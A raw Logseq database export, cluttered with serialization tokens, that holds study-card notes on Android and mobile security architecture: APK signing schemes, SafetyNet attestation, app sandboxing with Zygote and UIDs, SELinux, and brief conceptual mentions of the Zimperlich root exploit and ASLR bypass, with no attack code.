7](https://en.wikipedia.org/wiki/PKCS_7)logseq____",536870916]],[logseq____"^15logseq____",[171,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[171,logseq____"^Flogseq____",149,536870916]],[logseq____"^15logseq____",[171,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[171,logseq____"^Vlogseq____",172,536870916]],[logseq____"^15logseq____",[171,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[171,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[171,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[171,logseq____"^;logseq____",logseq____"~u67b83fac-80fb-4abd-9549-860cf9496e1elogseq____",536870916]],[logseq____"^15logseq____",[172,logseq____"^Qlogseq____",logseq____"~`METZ-INF` contains:logseq____",536870916]],[logseq____"^15logseq____",[172,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[172,logseq____"^Flogseq____",173,536870916]],[logseq____"^15logseq____",[172,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[172,logseq____"^Vlogseq____",154,536870916]],[logseq____"^15logseq____",[172,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[172,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[172,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[172,logseq____"^;logseq____",logseq____"~u67b83fac-53e2-49c8-8ca5-50db3fc406c8logseq____",536870916]],[logseq____"^15logseq____",[173,logseq____"^Qlogseq____",logseq____"Can be created using [`jarsigner`](https://docs.oracle.com/javase/8/docs/technotes/tools/windows/jarsigner.html) or [`apksigner`](https://developer.android.com/tools/apksigner)logseq____",536870916]],[logseq____"^15logseq____",[173,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[173,logseq____"^Flogseq____",154,536870916]],[logseq____"^15logseq____",[173,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[173,logseq____"^Vlogseq____",154,536870916]],[logseq____"^15logseq____",[173,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[173,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[173,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[173,logseq____"^;logseq____",logseq____"~u67b83fac-9328-483c-a4b8-403a38c7b304logseq____",536870916]],[logseq____"^15logseq____",[174,logseq____"^Qlogseq____",logseq____"Should not be used as *stand-alone*, *anti-abuse* or *app-security* mechanismlogseq____",536870916]],[logseq____"^15logseq____",[174,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[174,logseq____"^Flogseq____",156,536870916]],[logseq____"^15logseq____",[174,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[174,logseq____"^Vlogseq____",145,536870916]],[logseq____"^15logseq____",[174,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[174,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[174,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[174,logseq____"^;logseq____",logseq____"~u67b83fac-1983-4940-b323-d4b722feb0f2logseq____",536870916]],[logseq____"^15logseq____",[175,logseq____"^Qlogseq____",logseq____"~`Manifest.mf` and `logseq____<signerlogseq____>.sf` allow for multiple entries with identical namelogseq____",536870916]],[logseq____"^15logseq____",[175,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[175,logseq____"^Flogseq____",147,536870916]],[logseq____"^15logseq____",[175,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[175,logseq____"^Vlogseq____",147,536870916]],[logseq____"^15logseq____",[175,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[175,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[175,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[175,logseq____"^;logseq____",logseq____"~u67b83fac-323a-4dbd-9c2a-bec290285d36logseq____",536870916]],[logseq____"^15logseq____",[176,logseq____"^Qlogseq____",logseq____"### APK Signature Scheme v3logseq____",536870916]],[logseq____"^15logseq____",[176,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[176,logseq____"^Flogseq____",170,536870916]],[logseq____"^15logseq____",[176,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[176,logseq____"^Vlogseq____",160,536870916]],[logseq____"^15logseq____",[176,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[176,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[176,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[176,logseq____"^;logseq____",logseq____"~u67b83fac-6b6d-4481-82c9-ae00c463032elogseq____",536870916]],[logseq____"^15logseq____",[177,logseq____"^Qlogseq____",logseq____"~```mermaid\\nsequenceDiagram\\n box Smartphone\\n participant App\\n participant SafetyNetAPI\\n end\\n \\n box Google Server\\n participant SafetyNetServer\\n end\\n \\n box Developer Server\\n participant AppServer\\n end\\n\\n App-logseq____>logseq____>SafetyNetAPI: 1) Send nonce, platform config, app metadata\\n SafetyNetAPI-logseq____>logseq____>SafetyNetServer: Forward attestation request\\n SafetyNetServer--logseq____>logseq____>SafetyNetAPI: Return signed attestation (S)\\n SafetyNetAPI--logseq____>logseq____>App: Return attestation (S)\\n App-logseq____>logseq____>AppServer: 2) Send attestation (S)\\n AppServer--logseq____>logseq____>AppServer: 3) Verify S (decide device/app trustworthiness)\\n```logseq____",536870916]],[logseq____"^15logseq____",[177,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[177,logseq____"^Flogseq____",174,536870916]],[logseq____"^15logseq____",[177,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[177,logseq____"^Vlogseq____",145,536870916]],[logseq____"^15logseq____",[177,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[177,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[177,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[177,logseq____"^;logseq____",logseq____"~u67b83fac-ba98-463f-8bc6-b1a441e71b4alogseq____",536870916]],[logseq____"^15logseq____",[178,logseq____"^Qlogseq____",logseq____"Android uses different signatures (scheme V1..4) logseq____",536870916]],[logseq____"^15logseq____",[178,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[178,logseq____"^Flogseq____",167,536870916]],[logseq____"^15logseq____",[178,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[178,logseq____"^Vlogseq____",169,536870916]],[logseq____"^15logseq____",[178,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[178,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[178,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[178,logseq____"^;logseq____",logseq____"~u67b83fac-9a7a-4049-95ce-a15e3c1dabd4logseq____",536870916]],[logseq____"^15logseq____",[179,logseq____"^Qlogseq____",logseq____"Android requires all updates to be signed using the same keylogseq____",536870916]],[logseq____"^15logseq____",[179,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[179,logseq____"^Flogseq____",181,536870916]],[logseq____"^15logseq____",[179,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[179,logseq____"^Vlogseq____",170,536870916]],[logseq____"^15logseq____",[179,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[179,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[179,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[179,logseq____"^;logseq____",logseq____"~u67b83fac-4da9-426a-9657-fdbcfe5876f4logseq____",536870916]],[logseq____"^15logseq____",[180,logseq____"^Qlogseq____",logseq____"Added key rotation through additional *proof-of-rotation* in the signing blocklogseq____",536870916]],[logseq____"^15logseq____",[180,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[180,logseq____"^Flogseq____",176,536870916]],[logseq____"^15logseq____",[180,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[180,logseq____"^Vlogseq____",176,536870916]],[logseq____"^15logseq____",[180,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[180,logseq____"^;logseq____",logseq____"~u67b83fac-90b0-4818-bdb3-cc727d0a7d59logseq____",536870916]],[logseq____"^15logseq____",[181,logseq____"^Qlogseq____",logseq____"Use of two-level Merkle hash tree (single digest over hashing each file individually)logseq____",536870916]],[logseq____"^15logseq____",[181,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[181,logseq____"^Flogseq____",148,536870916]],[logseq____"^15logseq____",[181,logseq____"^Xlogseq____",144,536870916]],[logseq____"^15logseq____",[181,logseq____"^Vlogseq____",170,536870916]],[logseq____"^15logseq____",[181,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[181,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[181,logseq____"^Ulogseq____",144,536870916]],[logseq____"^15logseq____",[181,logseq____"^;logseq____",logseq____"~u67b83fac-c325-4d57-8360-6417c64e9739logseq____",536870916]],[logseq____"^15logseq____",[183,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[183,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[183,logseq____"^Ylogseq____",logseq____"sandboxinglogseq____",536870916]],[logseq____"^15logseq____",[183,logseq____"^11logseq____",logseq____"Sandboxinglogseq____",536870916]],[logseq____"^15logseq____",[183,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[183,logseq____"^;logseq____",logseq____"~u67bd79bb-bacc-4dcf-9025-e181103387dclogseq____",536878163]],[logseq____"^15logseq____",[184,logseq____"^Qlogseq____",logseq____"~```mermaid\\nflowchart LR\\n subgraph Kernel\\n K[\\logseq____"Linux Kernel (enforces process isolation)\\logseq____"]\\n end\\n\\n subgraph UA[\\logseq____"Process Boundary (UID A)\\logseq____"]\\n direction TB\\n subgraph \\logseq____"Dalvik VM / ART (App 1)\\logseq____"\\n A1[\\logseq____"App Code (classes.dex)\\logseq____"]\\n B1[Core libs]\\n end\\n C1[\\logseq____"Native code (*.so)\\logseq____"]\\n end\\n\\n subgraph UB[\\logseq____"Process Boundary (UID B)\\logseq____"]\\n direction TB\\n subgraph \\logseq____"Dalvik VM / ART (App 2)\\logseq____"\\n A2[\\logseq____"App Code (classes.dex)\\logseq____"]\\n B2[Core libs]\\n end\\n C2[\\logseq____"Native code (*.so)\\logseq____"]\\n end\\n\\n subgraph UC[\\logseq____"Process Boundary (UID C)\\logseq____"]\\n direction TB\\n subgraph \\logseq____"Dalvik VM / ART (App 3)\\logseq____"\\n A3[\\logseq____"App Code (classes.dex)\\logseq____"]\\n B3[Core libs]\\n end\\n C3[\\logseq____"Native code (*.so)\\logseq____"]\\n end\\n A1 logseq____<--logseq____> B1\\n A2 logseq____<--logseq____> B2\\n A3 logseq____<--logseq____> B3\\n A1 logseq____<--logseq____> C1\\n A2 logseq____<--logseq____> C2\\n A3 logseq____<--logseq____> C3\\n K logseq____<-- syscalls --logseq____> UA\\n K logseq____<-- syscalls --logseq____> UB\\n K logseq____<-- syscalls --logseq____> UC\\n\\n```logseq____",536870916]],[logseq____"^15logseq____",[184,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[184,logseq____"^Flogseq____",190,536870916]],[logseq____"^15logseq____",[184,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[184,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[184,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[184,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[184,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[184,logseq____"^;logseq____",logseq____"~u67b83fac-5c7f-4ddb-ae41-c80607256efclogseq____",536870916]],[logseq____"^15logseq____",[185,logseq____"^Qlogseq____",logseq____"Started application executed with root `Zygote`logseq____'s privileges, i.e., rootlogseq____",536870916]],[logseq____"^15logseq____",[185,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[185,logseq____"^Flogseq____",212,536870916]],[logseq____"^15logseq____",[185,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[185,logseq____"^Vlogseq____",196,536870916]],[logseq____"^15logseq____",[185,logseq____"^Ulogseq____",2,536874667]],[logseq____"^15logseq____",[185,logseq____"^Ulogseq____",38,536874667]],[logseq____"^15logseq____",[185,logseq____"^Ulogseq____",183,536874667]],[logseq____"^15logseq____",[185,logseq____"^;logseq____",logseq____"~u67b83fac-0232-4148-aecf-d8061e18c70flogseq____",536870916]],[logseq____"^15logseq____",[186,logseq____"^Qlogseq____",logseq____"Isolating each application in its own sandbox allows for fine-grained *resource management*logseq____",536870916]],[logseq____"^15logseq____",[186,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[186,logseq____"^Flogseq____",201,536870916]],[logseq____"^15logseq____",[186,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[186,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[186,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[186,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[186,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[186,logseq____"^;logseq____",logseq____"~u67b83fac-314f-4e55-9764-bd12ab77e895logseq____",536870916]],[logseq____"^15logseq____",[187,logseq____"^Qlogseq____",logseq____"*internal storage*: write files to ((67b74d96-f668-44e4-83c6-0760487f0281))logseq____",536870916]],[logseq____"^15logseq____",[187,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[187,logseq____"^Flogseq____",205,536870916]],[logseq____"^15logseq____",[187,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[187,logseq____"^Vlogseq____",221,536870916]],[logseq____"^15logseq____",[187,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[187,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[187,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[187,logseq____"^Hlogseq____",217,536874672]],[logseq____"^15logseq____",[187,logseq____"^;logseq____",logseq____"~u67b83fac-448e-4ad0-bcb9-4ad0b9cb41d8logseq____",536870916]],[logseq____"^15logseq____",[188,logseq____"^Qlogseq____",logseq____"~`setUID()`\\nlogseq.order-list-type:: numberlogseq____",536870916]],[logseq____"^15logseq____",[188,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[188,logseq____"^Flogseq____",197,536870916]],[logseq____"^15logseq____",[188,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[188,logseq____"^Vlogseq____",207,536870916]],[logseq____"^15logseq____",[188,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[188,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[188,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:logseq.order-list-typelogseq____",logseq____"numberlogseq____"],536874672]],[logseq____"^15logseq____",[188,logseq____"^Jlogseq____",[logseq____"^19logseq____"],536874672]],[logseq____"^15logseq____",[188,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536874672]],[logseq____"^15logseq____",[188,logseq____"^;logseq____",logseq____"~u67b83fac-79d4-441d-a9cc-36d36bf1e6dblogseq____",536870916]],[logseq____"^15logseq____",[189,logseq____"^Qlogseq____",logseq____"Allows for *group forming* and *content sharing* for apps form the same developerlogseq____",536870916]],[logseq____"^15logseq____",[189,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[189,logseq____"^Flogseq____",193,536870916]],[logseq____"^15logseq____",[189,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[189,logseq____"^Vlogseq____",198,536870916]],[logseq____"^15logseq____",[189,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[189,logseq____"^;logseq____",logseq____"~u67b83fac-1516-4498-9437-b668bfd85232logseq____",536870916]],[logseq____"^15logseq____",[190,logseq____"^Qlogseq____",logseq____"Private data folder for each applicationlogseq____",536870916]],[logseq____"^15logseq____",[190,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[190,logseq____"^Flogseq____",216,536870916]],[logseq____"^15logseq____",[190,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[190,logseq____"^Vlogseq____",201,536870916]],[logseq____"^15logseq____",[190,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[190,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[190,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[190,logseq____"^;logseq____",logseq____"~u67b83fac-a0af-4a0b-aa60-0f702744dafelogseq____",536870916]],[logseq____"^15logseq____",[191,logseq____"^Qlogseq____",logseq____"Unique home directory (system services allow access to other parts)logseq____",536870916]],[logseq____"^15logseq____",[191,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[191,logseq____"^Flogseq____",198,536870916]],[logseq____"^15logseq____",[191,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[191,logseq____"^Vlogseq____",198,536870916]],[logseq____"^15logseq____",[191,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[191,logseq____"^;logseq____",logseq____"~u67b83fac-b186-4510-84d5-e9ef8a556188logseq____",536870916]],[logseq____"^15logseq____",[192,logseq____"^Qlogseq____",logseq____"~`Zygote` calls `fork()` (setup DVM/ART)\\nlogseq.order-list-type:: numberlogseq____",536870916]],[logseq____"^15logseq____",[192,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[192,logseq____"^Flogseq____",207,536870916]],[logseq____"^15logseq____",[192,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[192,logseq____"^Vlogseq____",207,536870916]],[logseq____"^15logseq____",[192,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[192,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[192,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536874672]],[logseq____"^15logseq____",[192,logseq____"^Jlogseq____",[logseq____"^19logseq____"],536874672]],[logseq____"^15logseq____",[192,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536874672]],[logseq____"^15logseq____",[192,logseq____"^;logseq____",logseq____"~u67b83fac-79c8-4864-9b56-b736b0f6608flogseq____",536870916]],[logseq____"^15logseq____",[193,logseq____"^Qlogseq____",logseq____"[Principle of Least Privilege]((67b73cc0-6cc9-4099-81fe-fb696e04c2e6)) enforced by *entitlements*(privileges) signing into an applogseq____",536870916]],[logseq____"^15logseq____",[193,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[193,logseq____"^Flogseq____",191,536870916]],[logseq____"^15logseq____",[193,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[193,logseq____"^Vlogseq____",198,536870916]],[logseq____"^15logseq____",[193,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[193,logseq____"^;logseq____",logseq____"~u67b83fac-f295-47f7-8844-215e20282a2dlogseq____",536870916]],[logseq____"^15logseq____",[194,logseq____"^Qlogseq____",logseq____"Additionally, SELinux Mandatory access controllogseq____",536870916]],[logseq____"^15logseq____",[194,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[194,logseq____"^Flogseq____",204,536870916]],[logseq____"^15logseq____",[194,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[194,logseq____"^Vlogseq____",217,536870916]],[logseq____"^15logseq____",[194,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[194,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[194,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[194,logseq____"^;logseq____",logseq____"~u67b83fac-a83d-4cdd-a6cf-b38d34639765logseq____",536870916]],[logseq____"^15logseq____",[195,logseq____"^Qlogseq____",logseq____"~`Zygote` did not check the return value of `setUID`logseq____",536870916]],[logseq____"^15logseq____",[195,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[195,logseq____"^Flogseq____",196,536870916]],[logseq____"^15logseq____",[195,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[195,logseq____"^Vlogseq____",196,536870916]],[logseq____"^15logseq____",[195,logseq____"^Ulogseq____",2,536874667]],[logseq____"^15logseq____",[195,logseq____"^Ulogseq____",38,536874667]],[logseq____"^15logseq____",[195,logseq____"^Ulogseq____",183,536874667]],[logseq____"^15logseq____",[195,logseq____"^;logseq____",logseq____"~u67b83fac-2322-4404-a417-0a15fb211311logseq____",536870916]],[logseq____"^15logseq____",[196,logseq____"^Qlogseq____",logseq____"### Zimperlich root exploit\\nid:: 67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____",536874666]],[logseq____"^15logseq____",[196,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[196,logseq____"^Flogseq____",199,536870916]],[logseq____"^15logseq____",[196,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[196,logseq____"^Vlogseq____",199,536870916]],[logseq____"^15logseq____",[196,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[196,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[196,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[196,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____",logseq____"^17logseq____",3],536874672]],[logseq____"^15logseq____",[196,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874672]],[logseq____"^15logseq____",[196,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____"],536874672]],[logseq____"^15logseq____",[196,logseq____"^;logseq____",logseq____"~u67b83fac-4da8-46ef-938e-6d2a8ea817edlogseq____",536870916]],[logseq____"^15logseq____",[197,logseq____"^Qlogseq____",logseq____"Load APK app code\\nlogseq.order-list-type:: numberlogseq____",536870916]],[logseq____"^15logseq____",[197,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[197,logseq____"^Flogseq____",192,536870916]],[logseq____"^15logseq____",[197,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[197,logseq____"^Vlogseq____",207,536870916]],[logseq____"^15logseq____",[197,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[197,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[197,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536874672]],[logseq____"^15logseq____",[197,logseq____"^Jlogseq____",[logseq____"^19logseq____"],536874672]],[logseq____"^15logseq____",[197,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^19logseq____",logseq____"numberlogseq____"],536874672]],[logseq____"^15logseq____",[197,logseq____"^;logseq____",logseq____"~u67b83fac-34f2-4acc-aaf0-d09c3720dbdblogseq____",536870916]],[logseq____"^15logseq____",[198,logseq____"^Qlogseq____",logseq____"Thrid party apps are sandboxedlogseq____",536870916]],[logseq____"^15logseq____",[198,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[198,logseq____"^Flogseq____",219,536870916]],[logseq____"^15logseq____",[198,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[198,logseq____"^Vlogseq____",219,536870916]],[logseq____"^15logseq____",[198,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[198,logseq____"^;logseq____",logseq____"~u67b83fac-c155-41f9-b32c-d7f30cf4846clogseq____",536870916]],[logseq____"^15logseq____",[199,logseq____"^Qlogseq____",logseq____"## Attacks #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[199,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[199,logseq____"^Flogseq____",221,536870916]],[logseq____"^15logseq____",[199,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[199,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[199,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[199,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[199,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[199,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874672]],[logseq____"^15logseq____",[199,logseq____"^Jlogseq____",[],536874672]],[logseq____"^15logseq____",[199,logseq____"^Hlogseq____",2,536874672]],[logseq____"^15logseq____",[199,logseq____"^Hlogseq____",38,536874672]],[logseq____"^15logseq____",[199,logseq____"^;logseq____",logseq____"~u67b83fac-1ae0-458e-a59c-5e99097f2f22logseq____",536870916]],[logseq____"^15logseq____",[200,logseq____"^Qlogseq____",logseq____"### Breaking ALSRlogseq____",536870916]],[logseq____"^15logseq____",[200,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[200,logseq____"^Flogseq____",196,536870916]],[logseq____"^15logseq____",[200,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[200,logseq____"^Vlogseq____",199,536870916]],[logseq____"^15logseq____",[200,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[200,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[200,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[200,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874672]],[logseq____"^15logseq____",[200,logseq____"^Jlogseq____",[],536874672]],[logseq____"^15logseq____",[200,logseq____"^;logseq____",logseq____"~u67b83fac-b866-4262-87ee-39ec4a7bce74logseq____",536870916]],[logseq____"^15logseq____",[201,logseq____"^Qlogseq____",logseq____"## Application Isolation #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[201,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[201,logseq____"^Flogseq____",209,536870916]],[logseq____"^15logseq____",[201,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[201,logseq____"^Vlogseq____",183,536870916]],[logseq____"^15logseq____",[201,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[201,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[201,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[201,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874672]],[logseq____"^15logseq____",[201,logseq____"^Jlogseq____",[],536874672]],[logseq____"^15logseq____",[201,logseq____"^Hlogseq____",2,536874672]],[logseq____"^15logseq____",[201,logseq____"^Hlogseq____",38,536874672]],[logseq____"^15logseq____",[201,logseq____"^;logseq____",logseq____"~u67b83fac-7d6b-4456-87b1-68e0a902becclogseq____",536870916]],[logseq____"^15logseq____",[202,logseq____"^Qlogseq____",logseq____"*external storage*: no privacy guaranteeslogseq____",536870916]],[logseq____"^15logseq____",[202,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[202,logseq____"^Flogseq____",187,536870916]],[logseq____"^15logseq____",[202,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[202,logseq____"^Vlogseq____",221,536870916]],[logseq____"^15logseq____",[202,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[202,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[202,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[202,logseq____"^;logseq____",logseq____"~u67b83fac-ac6f-486c-9bdf-6d24694cf8e2logseq____",536870916]],[logseq____"^15logseq____",[203,logseq____"^Qlogseq____",logseq____"*extensions* offer functionality to other apps (special-purpose, *separately sandboxed*, *signed* executables)logseq____",536870916]],[logseq____"^15logseq____",[203,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[203,logseq____"^Flogseq____",189,536870916]],[logseq____"^15logseq____",[203,logseq____"^Xlogseq____",183,536870916]],[logseq____"^15logseq____",[203,logseq____"^Vlogseq____",198,536870916]],[logseq____"^15logseq____",[203,logseq____"^Ulogseq____",183,536870916]],[logseq____"^15logseq____",[203,logseq____"^;logseq____",logseq____"~u67b83fac-2aa4-4905-82d3-0c398a5a170alogseq____",536870916]],[logseq____"^15logseq____",[204,logseq____"^Qlogseq____",logseq____"Represented using for numbers (4: `read`, 2: `write`, 1: 